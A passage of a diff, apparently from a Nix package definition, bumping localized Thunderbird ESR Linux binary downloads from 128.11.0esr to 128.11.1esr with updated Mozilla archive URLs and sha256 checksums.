+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sq/thunderbird-128.11.1esr.tar.bz2";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "c814479ade79d4f1a67fec8f0029602eea11b3e4bd1b04def7f2fce38e7f9f99";
+      sha256 = "e332752f37abb17e98a667400e0cd2728d11f1fd9a6798d0c4b03e54935c9f52";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sr/thunderbird-128.11.1esr.tar.bz2";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "f763ec52bd9ad5597177be270b4f64262d79a50a624a614ae391d8aca1f16f81";
+      sha256 = "0091e1363aaed53741b2ac684aeb09412cf43ddbd340989f2420148ddf72623b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sv-SE/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sv-SE/thunderbird-128.11.1esr.tar.bz2";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "113bf376ed90b9d40f3a305b821e1ddb578770b7ad7dc982c5e21aa1cc00f437";
+      sha256 = "92f0ed514b9946151ce7047f9afffdadb2f8724f468e435041f2841cb8052d95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/th/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/th/thunderbird-128.11.1esr.tar.bz2";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "c188b57aa0a53d4fe904e3978bf1e49d0dd62bcf817ed5a5c65466d202389a18";
+      sha256 = "bbc0fd2e86cdc944930d059fc218fe55c96b8ee39f520a340af2afcc9902ef42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/tr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/tr/thunderbird-128.11.1esr.tar.bz2";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "3dcd14eff5be9c753cce59874ddc3f0424d7fd55dc7c85f615580f9bd5f1b4b1";
+      sha256 = "2c6e1bbd9804a3cd02381f93034420626cb09968c12d236426ac6823d89c8399";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/uk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/uk/thunderbird-128.11.1esr.tar.bz2";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "230a96141510e9cf113781ebd4749fcd2e4fe5e65054cc6013ebe1e38406f55f";
+      sha256 = "1fec47b0bddcc4f40d0f4e098429f2ad2a8fc988cffd11d04277bdea320aa2d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/uz/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/uz/thunderbird-128.11.1esr.tar.bz2";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "1729cfe13c1df489a74b6307ac08660e3bffd390ac8b706061ff2b05f866619e";
+      sha256 = "dd6501bc49611667168aec9c4b5a01f41476308abde61c065fee786a3da11025";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/vi/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/vi/thunderbird-128.11.1esr.tar.bz2";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "89e07861fec281e858faa92bcca44e393d7cfcb240db525451d9c21671447ac4";
+      sha256 = "7d752d79dc29a79346a5faeb62ad792c83361813ab43230fc4024d0575ea4aef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/zh-CN/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/zh-CN/thunderbird-128.11.1esr.tar.bz2";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "91f65b163623a716ba54656173e48e73624f35b80caad06053eee3d3bcb3028c";
+      sha256 = "99e62f429e86e251229ba05874b2dd6fecbbc961d99b82467e39c4674253c31b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/zh-TW/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/zh-TW/thunderbird-128.11.1esr.tar.bz2";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "b7f1e29fdc6f1333c8717ccbf8912646ee6fe8b02215c13eee5310a1bd1751c4";
+      sha256 = "b6454a0ad85263d3a4e211df5a2853367504dcc06323aede8f456b327f7ffc61";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/af/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/af/thunderbird-128.11.1esr.tar.bz2";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "79e8f7d5fd539b76dee8083c14784addee0bda0117b51b219ebb4762e9d0006f";
+      sha256 = "d0e5b10d52ad457c51cf7dad8a8e46df110c7637c74cc67f47da353a4a607402";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ar/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ar/thunderbird-128.11.1esr.tar.bz2";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "a98c61432bf0150d41b1e91b0094939b6a39348878b31b7195762e2de2802fe2";
+      sha256 = "cae238cc797b4aacf015f866b11496423c7e6751ec3853076459e89a6735f07e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ast/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ast/thunderbird-128.11.1esr.tar.bz2";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "ce19fd8535e87d57673dc5f01bdda71ab2ce4dbfe4b8a5318ab3779f16b912a2";
+      sha256 = "6003bdefb99a650b0d7d6fddddc5f68e906de90913f77aa50386b3223e73e96e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/be/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/be/thunderbird-128.11.1esr.tar.bz2";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "9972d5163c1167650a7be20962a2f1f24b3e8bc7523f6e0fe4592b3ac67c00b2";
+      sha256 = "b840a0af87de630bacd4ce180aa9277ea4bd47d2fea423513095965b315cc71c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/bg/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/bg/thunderbird-128.11.1esr.tar.bz2";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "3b30ccc53a5cdc0524dc87b27438bb0293e78160d4c9e73fdd6566ce3f1e0d17";
+      sha256 = "aeb40e4f78ab26ca930e83a4f3e8e17493167bacfa0c3dbfb07ae89208527039";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/br/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/br/thunderbird-128.11.1esr.tar.bz2";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "4f3748883067431b85f7ec7232f547bc796593f39df19619791e8e1fcb33176f";
+      sha256 = "e813f9086d8a72885a544108fd7c553517096470d3db9a8bd26796f728e92ee6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ca/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ca/thunderbird-128.11.1esr.tar.bz2";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "e4c7d90c5d7bcfc094321f31c90aa781df05a09cd9233bcc1d0ab4245728306d";
+      sha256 = "260d795eb520f8e834bd829d9fd87cc4542978389589cbb75f7680533224534e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cak/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cak/thunderbird-128.11.1esr.tar.bz2";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "2dc3d129c1bcd405ea401713f1e2085d240a8d7a639b05b8c8a41130ce9ff794";
+      sha256 = "485889bf966f5d3ee13bee4afa944786a20a06589cbe3c647e173e20bb866890";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cs/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cs/thunderbird-128.11.1esr.tar.bz2";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "668bf801d6276dfecb16bb8725f1bbf30b29b88cec84e4937e6f183434f01004";
+      sha256 = "5ab583992354e7d228aee2921a8d957af5c68e35e2c6ec6021ce59907170999d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/cy/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cy/thunderbird-128.11.1esr.tar.bz2";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "8c5c187ac03f6c15dd925b8629ece2600502d22195d189a8bb1c82ba53906e23";
+      sha256 = "60ea047453cf3c8a72b1fb00cd623c69ef2ebe5dfec07cac8864cd2372044728";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/da/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/da/thunderbird-128.11.1esr.tar.bz2";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "d56faf22d047e0c8e812bc90c8cd386ae2064eb0c393b0b511c20c672665e5be";
+      sha256 = "d1c1f2989fde7fdd1cce600de24c9c4b07ffb1014bf86842162e295b588c6f79";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/de/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/de/thunderbird-128.11.1esr.tar.bz2";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "ba27c673edcfeb3062cfb302e58feeeaff1a6a310211b245d37a57f55cfcdb25";
+      sha256 = "8e3ac147b314d5ec4b5236dc1c58c3db9d48122d069ba366a8e48e459232d853";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/dsb/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/dsb/thunderbird-128.11.1esr.tar.bz2";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "838caf3134a77780ca9df68478e3bf82823dd4ce30434bc6602990e6570772aa";
+      sha256 = "9097661bc5c121006fde36cd002bf26f1d6b3466552dae941cbc87a0463eb662";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/el/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/el/thunderbird-128.11.1esr.tar.bz2";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "7280b1211b1573e15dcbd27e9494c1e2425756ae8f23e1c16d89e9fc759421fa";
+      sha256 = "2fe49f83343fd5aa6d7c65dfbde69edf1d80f3a44b0a3b20a108df2986db4ea7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-CA/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-CA/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "1cba98d71b0cf1a9eb650a45876f533344038214f98f1de985e295397dd95acd";
+      sha256 = "9e9907b25631afc69d80fc14fd798f156177b0f6e012cb6293a38982b2cfed66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-GB/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-GB/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "b6b95419b44feae7eb47f1c31625c0d7ce7a201642fbbce881f954379efe3e1f";
+      sha256 = "c66668a98f93e2e60a65908142721c40dd719ece1fd27bc9b12f098a36934a1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/en-US/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-US/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "15296a6f1fa57e7c9b204925c19503eb4848a4ca024677fb3fc00732661e5f9c";
+      sha256 = "f11acab3c1b9b8bc0d000e79bb4aa627c8b982da6e867884fd38c018385336bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-AR/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-AR/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "01d801f7171a76f8d60de07ffa47b41ffb10f2bc904d72e0b7f2902626a724b4";
+      sha256 = "5366b9cf55dbaecac231a870c37422513719d4b387baf1802537b6ed23b7c9b8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-ES/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-ES/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "a8ef2366404d128b2107f0fe63c4246497bee7c45a5180c21e9f1a28744bda25";
+      sha256 = "0a3c9e633e4563aa12f4a6b727bed4ca3c58b7e68df7d4736241e19c67913ed6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/es-MX/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-MX/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "28b87e0a3c422146b15e17d523aff37cbd56be81d2b5541f6c62f72eb5b34be8";
+      sha256 = "9bdf1e3863e2eddbedcdaee4794fca3b7cc43ae28d1447adffa2bdb5521d2fa1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/et/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/et/thunderbird-128.11.1esr.tar.bz2";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "9ea05e436d4bbe64b3126090341615870cae452757e6a0f8ce0c6da297caa79e";
+      sha256 = "039c3c19263e262973a3bf97985675534698c824401ea2b03fcdf9efa2e98fbf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/eu/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/eu/thunderbird-128.11.1esr.tar.bz2";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "7b25e5ef8ae9f353358d58226ea20582d196d387469011fd2ab3527b737953f2";
+      sha256 = "0c556b10fd5d223cd484bff84e4edf9ee12f22662ef3643e00e25a723e29ca1e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fi/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fi/thunderbird-128.11.1esr.tar.bz2";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "7a135aceb0c1b9b2d0517d48e61ef56bdc2370ceb3e65d5e4ecf948272b148d3";
+      sha256 = "6cc6403a5aa5bf484d1d41d55e4d1d7587097a95b0ee8e9ccf972f65a9c4993b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fr/thunderbird-128.11.1esr.tar.bz2";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "2263eb3f54e93e2c6306d0e68f9e27988e7c09cc6dba08414595d01face08740";
+      sha256 = "e9e16cf3909a04eeb8beeeb6214534faa4fe71b31c9e7e62a06a3d5888ac93bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/fy-NL/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fy-NL/thunderbird-128.11.1esr.tar.bz2";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "dfc031584e1eafd390cf286a34232e296dcd98ea3818f60dd38965d44432f565";
+      sha256 = "bdedaf4080dd020b48c8146d7ca160f694c30c7ae3813573f14dfffa23c3a5a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ga-IE/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ga-IE/thunderbird-128.11.1esr.tar.bz2";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "b80b2e6e57d2b63e495134a1829660ad125a55f1caa561ffd98d132c97a139c9";
+      sha256 = "8b977495fe24fc7a2692c099f4f36e11532e827242f27cc2e9dfb352d79b7ba8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/gd/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/gd/thunderbird-128.11.1esr.tar.bz2";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "29228207b3aac9bd54df245031459ebc5495b0bb15ba4cdd936dae566d94deca";
+      sha256 = "bab69a8e3283a9bf2a3e4893a3ee5a13fd7855e6c27c6bc888fb7099aa63c3a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/gl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/gl/thunderbird-128.11.1esr.tar.bz2";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "9ab1995698d206eb046e5b96e6f18c290e99ada6c7b7bc64347fb1cc603ce66f";
+      sha256 = "0f1204117d3ac178b4256f6736bae0763e2d725f7f31d35d14c2fe81149983a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/he/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/he/thunderbird-128.11.1esr.tar.bz2";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "9adf0aed871d04cfe814800f1fcbc8128a9449afbdd21d9d4b47c0c9048df61f";
+      sha256 = "b8f9776ee8c13945eb0fafddf35bfe15aebd624266cb7a59c3a35c295c30ca87";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hr/thunderbird-128.11.1esr.tar.bz2";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "b62307dbe3fa6d62600dd92f9416a2bbab32b12bffc2668242eeca33093871d2";
+      sha256 = "7ef80e9826a3c6f68d977d7f4d37e4e464bf3ed758f6a4bde55c25908bad1e5a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hsb/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hsb/thunderbird-128.11.1esr.tar.bz2";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "246069502c7e64d2772274a656d7e4a80a6b4e053468a501a9603609d24d3c6b";
+      sha256 = "977c9dcf1c4a5415168d4d6ba8bfc678ffd8fc71fad57c4591b67d2c5b66bb40";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hu/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hu/thunderbird-128.11.1esr.tar.bz2";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "f9adc3da0aa28b66ebc4f370d05f58904d361b0e3b24078d653967490387ef50";
+      sha256 = "50b063f5cdee1c3f34b335e1e69645c9d95217fd5e252a52cfb8da88655fafda";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/hy-AM/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hy-AM/thunderbird-128.11.1esr.tar.bz2";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "f77f12e8d0323602c8994e3bd513190558aadf34c21d29fe1b13f4f9156e707f";
+      sha256 = "a7634aaab27e184cff3e8c9abc0508c999c22370c9290e99c114e5e4585d0267";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/id/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/id/thunderbird-128.11.1esr.tar.bz2";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "7b73d10c98ab8dd3b808fae707878ff5726944cb32564b9c03c4dcc83fdb4c2f";
+      sha256 = "c01eabdfd17451caa579caad715ae0fc401f8d782df1b4072523a930b85e19a3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/is/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/is/thunderbird-128.11.1esr.tar.bz2";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "77f500e0e9b2571731b7095d1660260bfbfd4e69c4731e19ebcd2d3e9621064f";
+      sha256 = "6159e093852e94ab37e2446bfbdda0a1c67dfe1d88b6eb37c82c1fa3a0adea30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/it/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/it/thunderbird-128.11.1esr.tar.bz2";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "209bac038f4fe98fa717c0d4c8edf2ddfc8c10351024db3dd184446be0df9020";
+      sha256 = "b91c6b9dae50ffe444b99737c8e3f645ba8ac126572295be10d32fd88efd521d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ja/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ja/thunderbird-128.11.1esr.tar.bz2";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "4f1a227819a301dddf4a6a59e1655fe5c45030dcc20ef00581a9a0072cbcd0ed";
+      sha256 = "392a3568f390b6193a0f5236a88a9e3ed84557d74f440978797e26c027a85135";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ka/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ka/thunderbird-128.11.1esr.tar.bz2";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "7b91286ebdd92926ec66c5784f28c028dcf8466524914fd795ff054f65e87de2";
+      sha256 = "e96c43f4bfa370b60b9f447b82dcf48b5ce021b756fedd47013fc5ac7926bb67";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/kab/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/kab/thunderbird-128.11.1esr.tar.bz2";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "5c4900accf4e1c78de6e8b8c010ea4fb6caf8f13746be982acff97fb50f73680";
+      sha256 = "cf1d16b6477b2b836d896fb3e5ac65c32799c21ffe76a986c085bafa08883f92";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/kk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/kk/thunderbird-128.11.1esr.tar.bz2";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "34c00860100e2a6f628440f2c981ecd20bff6d6277acd29b4f7206c8c79c842c";
+      sha256 = "abe96a32627fa819f97438b0b65cde4b6d92f372cac0e21c3ac79f896fb2da11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ko/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ko/thunderbird-128.11.1esr.tar.bz2";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "8eaeae964a1854551819386b2fb84a4fcc77f3d4ff512a234ab7cfcede93dbd3";
+      sha256 = "895ad3c0187367a3fbb4e04e846c1ab993458d38cdce5c7745778e8530f7893e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/lt/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/lt/thunderbird-128.11.1esr.tar.bz2";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "be8ae36d61171efb90f94e40c6548d29d79cfa75fbd4c1eebc646a09f8eb62a4";
+      sha256 = "efffe1bdf4b546e794d5085d7a1cf91d8634a679e6ebf2aaca9828814c73c581";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/lv/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/lv/thunderbird-128.11.1esr.tar.bz2";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "be4617b8892e9402c3f71222d0f4c5dd817a6150fd62ecd06e3ca39a5567d317";
+      sha256 = "395fe93b274f19761037defe7d3b44248f6a53ce70b386bfcfa979bf2bc61f56";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/ms/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ms/thunderbird-128.11.1esr.tar.bz2";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "9d91e6caf44a4fb59bc2f4eb98120f8edf99410b26dfbd19e95b5147d8dfe40a";
+      sha256 = "43b0260c9a74d76163cbbeba33de06dde61e084a1f241ae5d6c9bb5bad424c27";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nb-NO/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nb-NO/thunderbird-128.11.1esr.tar.bz2";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "a2410593b21fbd893529e69dc9014d2a0656eb2b386abac88f8fb7719e40fb73";
+      sha256 = "41a214594554f40959f7d53ac09f6422d8cc06945ab91757e34c31cdf3303599";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-i686/nl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/nl/thunderbird-128.11.1esr.tar.bz2";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "6213d0b2338c7bb96e489bb98497f411258ed7d5b9ff911e1190cb46a19371a9";
+      sha256 = "517eb90659cdce2cd47c33d485dd205a2fecf05735cff999f500e66daaf32a88";
     }
     {
